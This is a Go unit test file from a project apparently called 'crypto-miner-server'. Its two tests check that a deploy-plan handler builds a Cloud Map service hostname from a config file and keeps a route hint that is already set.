package api

import (
	"encoding/json"
	"os"
	"path/filepath"
	"testing"

	"crypto-miner-server/internal/spreadrouter"
)

func TestAttachCloudMapRouteVia(t *testing.T) {
	dir := t.TempDir()
	cfg := map[string]interface{}{
		"server": map[string]interface{}{
			"cloud_map_namespace": "prod.local",
			"cloud_map_service":   "seeder",
		},
	}
	data, _ := json.Marshal(cfg)
	if err := os.WriteFile(filepath.Join(dir, "config.json"), data, 0o644); err != nil {
		t.Fatal(err)
	}
	h := &DeployPlanHandler{dataDir: dir}
	body := DeployPlanBody{}
	h.attachCloudMapRouteVia(&body)
	if body.SpreadRouteHint == nil || body.SpreadRouteHint.RouteVia != "seeder.svc.prod.local" {
		t.Fatalf("hint=%+v", body.SpreadRouteHint)
	}
}

func TestAttachCloudMapRouteViaPreservesExisting(t *testing.T) {
	dir := t.TempDir()
	h := &DeployPlanHandler{dataDir: dir}
	body := DeployPlanBody{
		SpreadRouteHint: &spreadrouter.SpreadRouteHint{RouteVia: "custom.svc.lab.local"},
	}
	h.attachCloudMapRouteVia(&body)
	if body.SpreadRouteHint.RouteVia != "custom.svc.lab.local" {
		t.Fatalf("route_via=%q", body.SpreadRouteHint.RouteVia)
	}
}